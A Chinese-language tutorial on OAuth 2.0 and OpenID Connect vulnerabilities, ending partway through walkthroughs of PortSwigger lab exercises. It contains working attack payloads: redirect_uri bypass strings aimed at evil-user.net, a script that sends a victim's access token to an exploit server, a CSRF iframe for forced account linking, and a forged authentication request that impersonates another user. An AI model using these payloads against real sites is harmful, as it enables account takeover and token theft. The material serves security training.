资讯详情

搞懂玩爆OAuth 2.0—OAuth2.0身份验证漏洞

搞懂玩爆OAuth 2.0—OAuth2.0身份验证漏洞

    • 一、基础知识
      • 1. 什么是OAuth2.0
      • 2. OAuth 2.0原理概述
      • 3. OAuth授权类型
        • 1. 数据请求范围(OAuth scope)
        • 2. 授权码授权
        • 3. 隐式授权类型
        • 4. OAuth 身份认证
      • 4. OAuth造成漏洞的原因
      • 5. 识别OAuth身份验证组件
    • 二、利用漏洞
      • 1. 实现隐性授权的缺陷
      • 2. CSRF保护缺陷
      • 3. 授权代码和访问令牌泄露
      • 4. redirect_uri 验证缺陷
      • 5. 通过代理页面窃取授权代码或访问令牌
      • 6. 有缺陷的数据范围(scope)验证
      • 7. 使用OpenID Connect扩展OAuth的身份认证
    • 三、漏洞实例
      • 1. 通过OAuth隐式流绕过身份验证([Authentication bypass via OAuth implicit flow](https://portswigger.net/web-security/oauth/lab-oauth-authentication-bypass-via-oauth-implicit-flow))
        • 隐藏授权身份验证过程
      • 2. 强制OAuth配置文件链接 ([Forced OAuth profile linking](https://portswigger.net/web-security/oauth/lab-oauth-forced-oauth-profile-linking))
      • 3. 通过redirect_uri劫持OAuth帐户([OAuth account hijacking via redirect_uri](https://portswigger.net/web-security/oauth/lab-oauth-account-hijacking-via-redirect-uri))
        • 分析授权代码授权流程
      • 4. 通过开放重定向盗窃OAuth访问令牌([Stealing OAuth access tokens via an open redirect](https://portswigger.net/web-security/oauth/lab-oauth-stealing-oauth-access-tokens-via-an-open-redirect))
      • 5. 窃取代理页面OAuth访问令牌 ([Stealing OAuth access tokens via a proxy page](https://portswigger.net/web-security/oauth/lab-oauth-stealing-oauth-access-tokens-via-a-proxy-page))
      • 6.通过OpenID动态注册客户端OAuth服务,结合SSRF获取敏感信息([SSRF via OpenID dynamic client registration](https://portswigger.net/web-security/oauth/openid/lab-oauth-ssrf-via-openid-dynamic-client-registration))

一、基础知识

1. 什么是OAuth2.0

请添加图片描述

OAuth2.0 它被广泛使用。能满足网站和WEB在另一个应用程序中有限访问用户账户数据。 基本用途如下:

  • 访问第三方程序的部分功能
  • 提供第三方身份认证服务,无需每次输入账号密码等信息,即可在授权的不同网站上快速登录。

OAuth2与OAuth有很大的不同,本文的重点是OAuth2。

2. OAuth 2.0原理概述

总体来说,OAuth三方交互模式的定义:

  • -需要访问用户数据的网站或网站WEB应用
  • -访问数据的所有者(用户)
  • -提供支持OAuth认证的API支持内部认证服务器和资源服务器调用的程序。

实现上述三种交互授权的方法有很多。目前常用的方法有很多。流程相似,主要流程如下(不同类型的信息见下一节):

  1. 客户端应用程序发起访问和使用某些用户数据的授权请求(Authorization request)。
  2. 登录资源所有者OAuth服务,并为此申请提供唯一的同意授权代码(Authorization code)。
  3. 客户端应用程序以特定的方式收到授权代码,并使用授权代码和Auth服务提供商通过验证获得访问令牌(access token)。(隐式授权没有此项,直接在点2获得access token)
  4. 使用此令牌发起客户端应用API调用请求(API call),从资源服务器中获取相应的数据。

3. OAuth授权类型

不同的授权类型对应不同的授权类型OAuth因此,授权类型也被称为流程和具体步骤OAuth认证流。两种方式

1. 数据请求范围(OAuth scope)

OAuth可定制不同的scope参数作为标记,对每种标记明确了客户应用想访问的数据和希望执行的操作。这个参数的值只是一个任意的文本字符串,由OAuth服务提供商制定规则,客户端在初始化时也需要进行相应的调整。例如,如下:

scope=contacts scope=contacts.read scope=contact-list-r scope=https://oauth-authorization-server.com/auth/scopes/user/contacts.readonly 

2. 授权码授权

请注意,图中的前三个步骤是实线,表示数据通过浏览器传输,从第四步授权码到访问令牌交换为虚线,表示数据通过特殊安全通道后台传输,终端用户看不见。 客户端应用程序必须通过通道中的参数client_secret证明你的身份。

客户是客户端应用OAuth服务端点发送访问具体数据的请求,端点映射由OAuth定制。

GET /authorization?client_id=12345&redirect_uri=https://client-app.com/callback&response_type=code&scope=openid profile&state=ae13d489bd00e3c24 HTTP/1.1 Host: oauth-authorization-server.cm
  • client_id-客户端应用唯一识别码,强制性参数。客户端应用在OAuth服务上注册时就已生成。
  • redirect_uri-客户端应用回调地址(回调端点),授权码发送给客户端应用的接收地址。很多攻击都是利用这个参数的各种缺陷展开的。
  • response_type-授权类型,授权码类型,值为code
  • scope-客户端应用请求的指定用户数据集,值可以为OAuth服务定制化的,也可以是标准化的作用域,如openId(后面介绍)
  • state-唯一、不可猜测、并与发起OAuth流程的应用会话绑定,与授权码一同返回给客户端应用端点,用以确认收到授权码的与发起OAuth流程的为同一客户端应用。作用与CSRF令牌类似。

OAuth服务器收到客户端应用初始请求,将会直接跳转至OAuth服务提供的用户登陆页。 用户可查看到需要你确认的客户端应用请求访问的信息列表和使用方式。 一旦首次通过后,只要在会话有效期内,后续可实现单点登陆。

资源所有者一旦确认,浏览器就会跳转至/callback端点(原参数redirect_uri的值) OAuth发送至客户端应用的GET请求,将包含code(授权码)和可设定同步发送的参数state

GET /callback?code=a1b2c3d4e5f6g7h8&state=ae13d489bd00e3c24 HTTP/1.1
Host: client-app.com

客户端应用一旦收到授权码,就将向OAuth服务器/token端点发送POST请求,申请交换访问令牌。从这个流程开始,将在后台专用安全通道进行交互,因此从这个环节开始不太会被攻击者利用。

POST /token HTTP/1.1
Host: oauth-authorization-server.com
…
client_id=12345&client_secret=SECRET&redirect_uri=https://client-app.com/callback&grant_type=authorization_code&code=a1b2c3d4e5f6g7h8
  • client_secret-客户端应用在OAuth服务提供方注册时分配的密钥。
  • grant_type-让OAuth服务器知悉,客户端应申请以何种授权方式进行使用。授权码authorization_code

OAuth提供者验证请求无误后,将向客户端应用响应对应请求范围的访问令牌。

{
    "access_token": "z0y9x8w7v6u5",
    "token_type": "Bearer",
    "expires_in": 3600,
    "scope": "openid profile",
    …
}

客户端应用使用接收到的访问令牌,通过API调用OAuth服务端点/userinfo(往往是资源服务器)。注意数据包header是Authorization: Bearer XXX

GET /userinfo HTTP/1.1
Host: oauth-resource-server.com
Authorization: Bearer z0y9x8w7v6u5

资源服务器验证是否有效的访问令牌 令牌是否属于这个应用 令牌允许的数据范围,无误后返回数据。

{
    "username":"carlos",
    "email":"carlos@carlos-montoya.net",
    …
}

最终客户端应用获取到所需数据来使用。 在最后OAuth用于身份验证的情况下,通常用ID来授予经过身份验证会话的用户,从而让用户登录。 以上就是验证码授权类型,也是OAuth中最安全的方式

3. 隐式授权类型

注意,全是实线哈,意味着全部通过浏览器传递交互信息

与授权码类型一致,仅response_type 值为token

GET /authorization?client_id=12345&redirect_uri=https://client-app.com/callback&response_type=token&scope=openid%20profile&state=ae13d489bd00e3c24 HTTP/1.1
Host: oauth-authorization-server.com
  1. 资源所有者登陆并确认同意

一致

OAuth服务器获得用户同意,并验证授权请求通过后,以URL参数形式将access_token,客户端应用需要用脚本获取参数。

GET /callback#access_token=z0y9x8w7v6u5&token_type=Bearer&expires_in=5000&scope=openid%20profile&state=ae13d489bd00e3c24 HTTP/1.1
Host: client-app.com

数据包与授权码方式雷同,唯一区别是,进行交互

GET /userinfo HTTP/1.1
Host: oauth-resource-server.com
Authorization: Bearer z0y9x8w7v6u5

与授权码方式雷同,唯一区别是,进行交互

最终客户端应用获取到所需数据来使用。 在最后OAuth用于身份验证的情况下,通常用ID来授予经过身份验证会话的用户,从而让用户登录。 以上就是隐式授权类型,因没有授权码和专用安全通道后台传递数据,相对来说安全性降低,但更便捷。

4. OAuth 身份认证

授权服务的一种变种,可采用授权码或隐式的任意一种,流程几乎没有变化,以scope=openid为标志,详见后文介绍。

如果登陆客户端应用使用的不是在此应用注册的账户,而是你某个社交娱乐账号直接登陆,则使用的是 OAuth 身份验证。流程大提如下:

  1. 用户选择以社交账户方式登陆应用。客户端应用向该社交系统的OAuth服务发起获取指定数据的请求。例如:请求用户注册的邮箱地址。
  2. OAuth验证通过后,发送回访问令牌(access token)。客户端应用利用令牌向资源服务器请求数据,一般端点为/userinfo。资源服务器验证后,返回数据。
  3. 客户端收到数据后,往往,之前收到的

例题 1

4. OAuth漏洞产生的原因

OAuth规范在设计上相对模糊而且灵活。同时大量组件的选项都是可选的,安全性较低。 同时本身缺乏内置的安全功能,导致安全性完全依赖开发人员的正确使用和配置组合,并需增加额外有针对性的安全措施。否则很容易出现安全缺陷。 根据授权类型的不同,可能会通过浏览器传送敏感数据,面临着被非法截获的风险。

5. 识别OAuth身份验证组件

  • 往往应用能使用第三方账号登陆的方式,标志着使用OAuth
  • 登陆时查看数据包,URL参数存在client_id redirect_uri response_type
GET /authorization?client_id=12345&redirect_uri=https://client-app.com/callback&response_type=token&scope=openid%20profile&state=ae13d489bd00e3c24 HTTP/1.1
Host: oauth-authorization-server.com
  • 信息收集OAuth服务提供的API信息,知道OAuth主机名后,可以对常用路径发起发文查看。

/.well-known/oauth-authorization-server /.well-known/openid-configuration

通常会返回一个JSON配置文件,其中包含关键信息,例如可能支持的其他功能的详细信息。

{ 
        "authorization_endpoint":"https://oauth-ac361f731eed27f1c07c21ef02b700b1.web-security-academy.net/auth","claims_parameter_supported":false,"claims_supported":["sub","name","email","email_verified","sid","auth_time","iss"],"code_challenge_methods_supported":["S256"],"end_session_endpoint":"https://oauth-ac361f731eed27f1c07c21ef02b700b1.web-security-academy.net/session/end","grant_types_supported":["authorization_code","implicit","refresh_token"],"id_token_signing_alg_values_supported":["HS256","ES256","EdDSA","PS256","RS256"],"issuer":"https://oauth-ac361f731eed27f1c07c21ef02b700b1.web-security-academy.net","jwks_uri":"https://oauth-ac361f731eed27f1c07c21ef02b700b1.web-security-academy.net/jwks","response_modes_supported":["form_post","fragment","query"],"response_types_supported":["code","id_token","token","id_token token"],"scopes_supported":["openid","offline_access","profile","email"],"subject_types_supported":["public"],"token_endpoint_auth_methods_supported":["none","client_secret_basic","client_secret_jwt","client_secret_post","private_key_jwt"],"token_endpoint_auth_signing_alg_values_supported":["HS256","RS256","PS256","ES256","EdDSA"],"token_endpoint":"https://oauth-ac361f731eed27f1c07c21ef02b700b1.web-security-academy.net/token","request_object_signing_alg_values_supported":["HS256","RS256","PS256","ES256","EdDSA"],"request_parameter_supported":false,"request_uri_parameter_supported":true,"require_request_uri_registration":true,"userinfo_endpoint":"https://oauth-ac361f731eed27f1c07c21ef02b700b1.web-security-academy.net/me","userinfo_signing_alg_values_supported":["HS256","ES256","EdDSA","PS256","RS256"],"introspection_endpoint":"https://oauth-ac361f731eed27f1c07c21ef02b700b1.web-security-academy.net/token/introspection","introspection_endpoint_auth_methods_supported":["none","client_secret_basic","client_secret_jwt","client_secret_post","private_key_jwt"],"introspection_endpoint_auth_signing_alg_values_supported":["HS256","RS256","PS256","ES256","EdDSA"],"revocation_endpoint":"https://oauth-ac361f731eed27f1c07c21ef02b700b1.web-security-academy.net/token/revocation","revocation_endpoint_auth_methods_supported":["none","client_secret_basic","client_secret_jwt","client_secret_post","private_key_jwt"],"revocation_endpoint_auth_signing_alg_values_supported":["HS256","RS256","PS256","ES256","EdDSA"],"claim_types_supported":["normal"]}

二、漏洞利用

常被利用的漏洞主要在两方面,一是在客户端应用上OAuth的具体实现有缺陷可利用;二是在OAuth服务本身配置中有缺陷已被利用。

1. 隐式授权的实现缺陷

系统流程没有验证access token与账户信息是否一致有无恶意更换,则客户端应用默认收到的认证信息为正确的,随后完成自登陆。

详见上述例题1

2. CSRF保护缺陷

state参数在OAuth中的作用就是防止CSRF攻击,若未启用,则可尝试以此种方式进行攻击,通过将关键的url参数替换为攻击者的值,例如<ifram src="https://OAuth_url/?code=attacker value">的方式,发送并引诱目标用户点击,因无state验证,未验证发起请求方是否与该code拥有者一致,最终将受害用户的帐户绑定到攻击者自己的社交媒体帐户上。

例题2

3. 授权码和访问令牌泄露

最著名的漏洞就是OAuth服务本身配置问题,导致攻击者可以窃取用户的授权码和访问令牌。

请注意此处是要窃取授权码和访问令牌后在拼接到连接中,由攻击者发送连接获取身份认证通过。和上面的CSRF引诱受害用户点击有本质不同哦。

OAuth服务若不能有效验证redirect_uri参数,则攻击者可构造该参数为攻击者地址,获取受害者的授权码。

当获取了上述信息,只要授权码未使用还有效。攻击者通过自己的浏览器发起申请访问令牌,进而完成后续身份认证流程,登陆受害用户账号。

这种攻击因不是CSRF攻击,参数statenonce不会起到防护作用。

安全的做法是在授权码交换访问令牌时,在链接中也要发送redirect_uri,OAuth服务器将最初始请求中的redirect_uri与刚收到的进行比对,验证是否相同。**因为第二次传输时已经使用安全专用通道,攻击者很难更改。**导致验证不通过。

例题3

4. redirect_uri 验证缺陷

最佳实践是流程中增加redirec_uri白名单验证,这样被恶意更换的返回地址,将被报错。 但是使用如下方法仍有可能绕过白名单验证:

  • 尝试删除或添加url中路径、查询字符串或片段,看是否能够不触发报错
  • 增加额外字符,混淆绕过,举例如下

redirect_uri=https://default-host.com &@foo.evil-user.net#@bar.evil-user.net/

  • 多重redirect_uri参数

redirect_uri=https://oauth-authorization-server.com/?client_id=123&redirect_uri=client-app.com/callback&redirect_uri=evil-user.net

  • 有时对本地主机URI给予特殊处理,因为它们经常在开发期间使用。生产环境中可能会意外地允许以本地主机开头的任何重定向URI。通过注册一个域名来绕过验证,比如localhost.evil-user.net。

5. 通过代理页面窃取授权码或访问令牌

上述各种办法若都不起作用的话,可以尝试redirect_uri路径穿越或截断 redirect_uri=https://client-app.com/oauth/callback/../../example/path redirect_uri=https://client-app.com/example/path 攻击思路

  • 客户端应用某页面存在访问重定向漏洞
  • OAuth的请求参数redirect_uri可以路径穿越或截断

redirect_uri=https://YOUR-LAB-ID.web-security-academy.net/oauth-callback/../post?postId=1

  • 重新构造请求1,将redirect_uri路径,路径穿越至存在重定向漏洞的页面,且参数为攻击机url

https://YOUR-LAB-OAUTH-SERVER.web-security-academy.net/auth?client_id=YOUR-LAB-CLIENT-ID&redirect_uri=https://YOUR-LAB-ID.web-security-academy.net/oauth-callback/../post/next?path=https://YOUR-EXPLOIT-SERVER-ID.web-security-academy.net/exploit&response_type=token&nonce=399721827&scope=openid%20profile%20email

  • 在攻击机上构造恶意连接,引诱目标用户点击,发起请求,完成攻击
<script> if (!document.location.hash) { 
           window.location = 'https://YOUR-LAB-AUTH-SERVER.web-security-academy.net/auth?client_id=YOUR-LAB-CLIENT-ID&redirect_uri=https://YOUR-LAB-ID.web-security-academy.net/oauth-callback/../post/next?path=https://YOUR-EXPLOIT-SERVER-ID.web-security-academy.net/exploit/&response_type=token&nonce=399721827&scope=openid%20profile%20email' } else { 
           window.location = '/?'+document.location.hash.substr(1) } </script>

例题4

除了上述所属,还可以利用其他途径窃取token

  • 危险js脚本处理
  • XSS漏洞
  • HTML模板注入

例题5

6. 有缺陷的数据范围(scope)验证

假设攻击者的恶意客户端应用最初使用OpenID电子邮件作用域请求访问用户的电子邮件地址。在用户批准请求后,恶意客户端应用程序会收到授权码。当攻击者控制其客户端应用程序时,可以向包含附加配置文件范围的代码/令牌交换请求添加另一个范围参数:

POST /token
Host: oauth-authorization-server.com
…
client_id=12345&client_secret=SECRET&redirect_uri=https://client-app.com/callback&grant_type=authorization_code&code=a1b2c3d4e5f6g7h8&scope=openid%20 email%20profile

如果OAuth服务没有验证作用域是否与初始请求一致,则会根据攻击者新申请的scope返回access_token

{ 
        
    "access_token": "z0y9x8w7v6u5",
    "token_type": "Bearer",
    "expires_in": 3600,
    "scope": "openid email profile",
    …
}

用户利用前文的各种攻击手段,直接获取了access_token,直接在scope添加新的数据范围,OAuth服务应该根据生成令牌时值来验证此作用域值,但实际是只要调整后的权限不超过以前授予此客户端应用程序的访问级别,攻击者就有可能访问其他数据,而无需用户的进一步批准。 客户端应用程序通常默认从OAuth服务拿到的用户账户信息是可信任而未加验证。 可尝试直接在OAuth服务注册新的账户信息,但是内容填写的是目前用户的内容,由于OAuth对内容验证不够全面,导致攻击者可以使用新注册账户通过OAuth服务登录客户端应用。由于此账户信息与目标用户的账户信息基本一致,客户端默认为目标用户登录,导致攻击者直接登录上了目标账户。

7. 使用OpenID Connect扩展OAuth的身份认证

  1. OpenID Connect产生的原因

OAuth最初设计场景,只用于授权,即为客户端应用授权对应资源的访问。随后大量应用使用授权服务,实现对用户账户资源的访问,通过获取用户账户凭证,来作为客户端应用的身份验证。 这种原始的方式,需要针对不同OAuth提供者,实施定制化的配置,来实现所谓的“身份验证”。因此,OpenID Connect应运而出,作为OAuth协议的扩展,建立基于OAuth实现之上的专用身份和身份验证层,提供相对标准易用的身份验证功能。

  1. OpenID Connect原理

整体来说,使用时仅有两点变化

  • scope: openid xxx
    • profile
    • email
    • address
    • phone
  • response_type: id_token
    • 返回使用JSON Web 签名(JWS)的JSON Web token(JWT)
    • 无需获取访问令牌,单独请求用户数据,在用户对自己进行身份验证后,立即将包含数据的ID令牌发回响应。
    • 传输的数据的完整性基于JWT加密签名。用于签名验证的密钥是通过OAuth相同的网络通道(通常在/.well-now/jwks.json上公开)传输的
    • response_type 可设置多值

response_type=id_token token response_type=id_token code

  1. OAuth服务动态注册漏洞

一般查看公开路径能获取到OAuth用户注册路径

标准注册数据包

POST /openid/register HTTP/1.1 (根据配置设定,调整地址)
Content-Type: application/json
Accept: application/json
Host: oauth-authorization-server.com
Authorization: Bearer ab12cd34ef56gh89

{
"application_type": "web",
"redirect_uris": [
"https://client-app.com/callback",
"https://client-app.com/callback2"
],
"client_name": "My Application",
"logo_uri": "https://client-app.com/logo.png",
"token_endpoint_auth_method": "client_secret_basic",
"jwks_uri": "https://client-app.com/my_public_keys.jwks",
"userinfo_encrypted_response_alg": "RSA1_5",
"userinfo_encrypted_response_enc": "A128CBC-HS256",
…
}

如Oauth服务没有验证Authorization,则

例题6

三、漏洞实例

1. 通过OAuth隐式流绕过身份验证(Authentication bypass via OAuth implicit flow)

在没有目标用户密码的情况下,登陆carlos账户 网站允许使用社交媒体账户登陆,测试账号wiener:peter 目标账户邮箱carlos@carlos-montoya.net

抓包分析隐式授权身份验证流程

交互1:点击账户,显示社交媒体账号登陆

GET /social-login HTTP/1.1
Host: aced1fcd1f73644dc0d56c3100eb002b.web-security-academy.net
Cookie: session=EqvfiG2Ch3BSyI3m8HbvdAVTBoDv2lAt
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:100.0) Gecko/20100101 Firefox/100.0
Accept: 


响应包中,出现OAuth请求路径

<meta http-equiv=refresh content='3;url=https://oauth-ac731f891f9364c2c00a6ca5026300bb.web-security-academy.net/auth?client_id=fvssuu3sg44ljzyn6r0ep&redirect_uri=https://aced1fcd1f73644dc0d56c3100eb002b.web-security-academy.net/oauth-callback&response_type=token&nonce=-487256685&scope=openid%20profile%20email'>
<p>We are now redirecting you to login with social media...</p>
根据路径参数,可知道response_type为`token`隐式授权类型。综上应为使用OAuth的身份验证能力。
交互2:客户端向该url发起身份验证请求
GET /auth?client_id=fvssuu3sg44ljzyn6r0ep&redirect_uri=https://aced1fcd1f73644dc0d56c3100eb002b.web-security-academy.net/oauth-callback&response_type=token&nonce=-487256685&scope=openid%20profile%20email HTTP/1.1
Host: oauth-ac731f891f9364c2c00a6ca5026300bb.web-security-academy.net

响应中包含内部交互的路径,并set-cookie

HTTP/1.1 302 Found
X-Powered-By: Express
Pragma: no-cache
Cache-Control: no-cache, no-store
Set-Cookie: _interaction=2gEEwfwhCnj8cOwJ0DhAD; path=/interaction/2gEEwfwhCnj8cOwJ0DhAD; expires=Wed, 25 May 2022 00:32:37 GMT; samesite=lax; secure; httponly
Set-Cookie: _interaction_resume=2gEEwfwhCnj8cOwJ0DhAD; path=/auth/2gEEwfwhCnj8cOwJ0DhAD; expires=Wed, 25 May 2022 00:32:37 GMT; samesite=lax; secure; httponly
Location: /interaction/2gEEwfwhCnj8cOwJ0DhAD
Content-Type: text/html; charset=utf-8
Date: Wed, 25 May 2022 00:22:37 GMT
Connection: close
Content-Length: 99

Redirecting to <a href="/interaction/2gEEwfwhCnj8cOwJ0DhAD">/interaction/2gEEwfwhCnj8cOwJ0DhAD</a>.

交互3 提供账户密码后并包含获得的cookie后,向内部交互路径发起POST请求

POST /interaction/2gEEwfwhCnj8cOwJ0DhAD/login HTTP/1.1
Host: oauth-ac731f891f9364c2c00a6ca5026300bb.web-security-academy.net
Cookie: _interaction=2gEEwfwhCnj8cOwJ0DhAD

username=wiener&password=peter
验证通过后,响应包中包含新的认证url
HTTP/1.1 302 Found
X-Powered-By: Express
Pragma: no-cache
Cache-Control: no-cache, no-store
Location: https://oauth-ac731f891f9364c2c00a6ca5026300bb.web-security-academy.net/auth/2gEEwfwhCnj8cOwJ0DhAD
Date: Wed, 25 May 2022 00:23:50 GMT
Connection: close
Content-Length: 0
交互4:向该URL发起GET请求,获取用户授权确认页
GET /auth/2gEEwfwhCnj8cOwJ0DhAD HTTP/1.1
Host: oauth-ac731f891f9364c2c00a6ca5026300bb.web-security-academy.net
Cookie: _interaction_resume=2gEEwfwhCnj8cOwJ0DhAD
响应并没有直接返回页面,而是新增设置了一个cookie,和新的内部交互路径。
HTTP/1.1 302 Found
X-Powered-By: Express
Pragma: no-cache
Cache-Control: no-cache, no-store
Set-Cookie: _interaction=2gEEwfwhCnj8cOwJ0DhAD; path=/interaction/2gEEwfwhCnj8cOwJ0DhAD; expires=Wed, 25 May 2022 00:33:51 GMT; samesite=lax; secure; httponly
Set-Cookie: _interaction_resume=2gEEwfwhCnj8cOwJ0DhAD; path=/auth/2gEEwfwhCnj8cOwJ0DhAD; expires=Wed, 25 May 2022 00:33:51 GMT; samesite=lax; secure; httponly
Set-Cookie: _session=Ah7U6Zc6D4aC2zCQHjjOu; path=/; expires=Wed, 08 Jun 2022 00:23:51 GMT; samesite=none; secure; httponly
Set-Cookie: _session.legacy=Ah7U6Zc6D4aC2zCQHjjOu; path=/; expires=Wed, 08 Jun 2022 00:23:51 GMT; secure; httponly
Location: /interaction/2gEEwfwhCnj8cOwJ0DhAD
Content-Type: text/html; charset=utf-8
Date: Wed, 25 May 2022 00:23:51 GMT
Connection: close
Content-Length: 99

Redirecting to <a href="/interaction/2gEEwfwhCnj8cOwJ0DhAD">/interaction/2gEEwfwhCnj8cOwJ0DhAD</a>
交互5:同时携带新、旧两个cookie向新URL发起GET请求
GET /interaction/2gEEwfwhCnj8cOwJ0DhAD HTTP/1.1
Host: oauth-ac731f891f9364c2c00a6ca5026300bb.web-security-academy.net
Cookie: _interaction=2gEEwfwhCnj8cOwJ0DhAD; _session=Ah7U6Zc6D4aC2zCQHjjOu; _session.legacy=Ah7U6Zc6D4aC2zCQHjjOu
总算响应用户授权确认页了,要的是profile和Email
<label>WeLikeToBlog</label> is requesting access to:</li>
<ul>

<li>Profile</li>

<li>Email</li>

交互6:用户主动点击确认。

POST /interaction/2gEEwfwhCnj8cOwJ0DhAD/confirm HTTP/1.1
Host: oauth-ac731f891f9364c2c00a6ca5026300bb.web-security-academy.net
Cookie: _interaction=2gEEwfwhCnj8cOwJ0DhAD; _session=Ah7U6Zc6D4aC2zCQHjjOu; _session.legacy=Ah7U6Zc6D4aC2zCQHjjOu

响应下一步请求的URL

HTTP/1.1 302 Found
X-Powered-By: Express
Pragma: no-cache
Cache-Control: no-cache, no-store
Location: https://oauth-ac731f891f9364c2c00a6ca5026300bb.web-security-academy.net/auth/2gEEwfwhCnj8cOwJ0DhAD

交互7:继续向之前请求过的页面发起GET请求,只是本次携带新旧两个cookie

GET /auth/2gEEwfwhCnj8cOwJ0DhAD HTTP/1.1
Host: oauth-ac731f891f9364c2c00a6ca5026300bb.web-security-academy.net
Cookie: _interaction_resume=2gEEwfwhCnj8cOwJ0DhAD; _session=Ah7U6Zc6D4aC2zCQHjjOu; _session.legacy=Ah7U6Zc6D4aC2zCQHjjOu
本次响应就给力多了,提供的下一步访问URL中包含了全部OAuth的参数,尤其是出现了梦寐以求的`access_token`

交互8:这回终于OAuth主动一回,主动向客户端应用发起GET请求

GET /oauth-callback HTTP/1.1
Host: aced1fcd1f73644dc0d56c3100eb002b.web-security-academy.net
Cookie: session=EqvfiG2Ch3BSyI3m8HbvdAVTBoDv2lAt

看到响应包,总算明白了,是主动向客户端应用要解析参数的js代码,双方根据ajax方式,后续返回给客户端数据。约定:

  • 客户端主动发起的ajax请求,OAuth返回数据。
  • OAuth向客户端应用发送OAuth身份认证数据,用于客户端完成用户自登陆
  • 跳转至首页
HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
Connection: close
Content-Length: 734

<script>
const urlSearchParams = new URLSearchParams(window.location.hash.substr(1));
const token = urlSearchParams.get('access_token');
fetch('https://oauth-ac731f891f9364c2c00a6ca5026300bb.web-security-academy.net/me', {    (客户端主动发起的ajax请求)
    method: 'GET',
    headers: {
        'Authorization': 'Bearer ' + token,
        'Content-Type': 'application/json'
    }
})
.then(r => r.json())
.then(j => 
    fetch('/authenticate', {(OAuth向客户端应用返回的数据内容和格式)
        method: 'POST',
        headers: {
            'Accept': 'application/json',
            'Content-Type': 'application/json'
        },
        body: JSON.stringify({
            email: j.email,
            username: j.sub,
            token: token
        })
    }).then(r => document.location = '/'))    (跳转至首页)
</script>

交互9 客户端主动发起的ajax请求,OAuth返回数据。

GET /me HTTP/1.1
Host: oauth-ac731f891f9364c2c00a6ca5026300bb.web-security-academy.net
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:100.0) Gecko/20100101 Firefox/100.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: https://aced1fcd1f73644dc0d56c3100eb002b.web-security-academy.net/
Authorization: Bearer yErTtKxjHZi8pEh0-Gm9QKyO2RJcZuGGqyetLKS3wGX
Content-Type: application/json
Origin: https://aced1fcd1f73644dc0d56c3100eb002b.web-security-academy.net
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site
Te: trailers
Connection: close

响应数据

HTTP/1.1 200 OK
X-Powered-By: Express
Vary: Origin
Access-Control-Allow-Origin: https://aced1fcd1f73644dc0d56c3100eb002b.web-security-academy.net
Access-Control-Expose-Headers: WWW-Authenticate
Pragma: no-cache
Cache-Control: no-cache, no-store
Content-Type: application/json; charset=utf-8
Date: Wed, 25 May 2022 00:26:29 GMT
Connection: close
Content-Length: 88

{"sub":"wiener","name":"Peter Wiener","email":"wiener@hotdog.com","email_verified":true}

交互10 最后一步,OAuth向客户端应用发送OAuth身份认证数据,用于客户端完成用户自登陆

POST /authenticate HTTP/1.1
Host: aced1fcd1f73644dc0d56c3100eb002b.web-security-academy.net
Cookie: session=EqvfiG2Ch3BSyI3m8HbvdAVTBoDv2lAt
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:100.0) Gecko/20100101 Firefox/100.0
Accept: application/json
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: https://aced1fcd1f73644dc0d56c3100eb002b.web-security-academy.net/oauth-callback
Content-Type: application/json
Origin: https://aced1fcd1f73644dc0d56c3100eb002b.web-security-academy.net
Content-Length: 103
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers
Connection: close

{"email":"wiener@hotdog.com","username":"wiener","token":"yErTtKxjHZi8pEh0-Gm9QKyO2RJcZuGGqyetLKS3wGX"}

最后客户端应用跳转至首页(此时用户已经登陆了哦~)

以上就是数据包的完整分析,搞清楚流程后,我们就要来简单利用这里面的漏洞了

  1. 本题测试非常简单,根据上面的流程,选择最后一步交互10,将email和username替换为目标用的信息,若系统流程没有验证,则客户端应用会以为收到的认证信息为carlos的随后完成自登陆。
POST /authenticate HTTP/1.1
Host: ac6a1fce1edb9238c08751db007a00bf.web-security-academy.net
Cookie: session=h8MMYmtjjanwfWANDP1wjYBUNVBbb1M3
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:100.0) Gecko/20100101 Firefox/100.0
Accept: application/json
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: https://ac6a1fce1edb9238c08751db007a00bf.web-security-academy.net/oauth-callback
Content-Type: application/json
Origin: https://ac6a1fce1edb9238c08751db007a00bf.web-security-academy.net
Content-Length: 111
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers
Connection: close

{"email":"carlos@carlos-montoya.net","username":"carlos","token":"rwCpJDSVYKbWNyaarAOUUrWFeEsLsGivV6zg25qik6m"

成功登陆

2. 强制OAuth配置文件链接 (Forced OAuth profile linking)

使用攻击者的社交媒体账号登陆客户端应用中admin的账户,并利用期权限删除carlos账户。 攻击者可使用的账户: 客户端应用账户 wiener:peter 社交媒体账户:peter.wiener:hotdog

    1. 抓包熟悉登陆流程后,发现没有参数state,可尝试CSRF攻击。浏览数据包发现突破到点GET /oauth-linking?code=[...]
    2. 已攻击者应用账户登陆,点击绑定社交媒体账户,拦截此数据包,存储code,并丢弃该包,保证code新鲜未被使用。
GET /oauth-linking?code=24uFvh01DqV6Sog-ZSiYAaPznbaDYE9QaJ2O66vJeXT HTTP/1.1
Host: ac001f981f3bc17fc0d623e8006b0093.web-security-academy.net
Cookie: session=ASfvnXuHTLWHIXPTaRYWKyrSUsAXULLB
  1. 构造攻击荷载,发送给目标用户(admin)。只要点击,就会自动完成社交媒体账户绑定。相当于目标admin账户绑定的是攻击者的社交媒体账户。
<iframe src="https://ac001f981f3bc17fc0d623e8006b0093.web-security-academy.net/oauth-linking?code=24uFvh01DqV6Sog-ZSiYAaPznbaDYE9QaJ2O66vJeXT "></iframe>
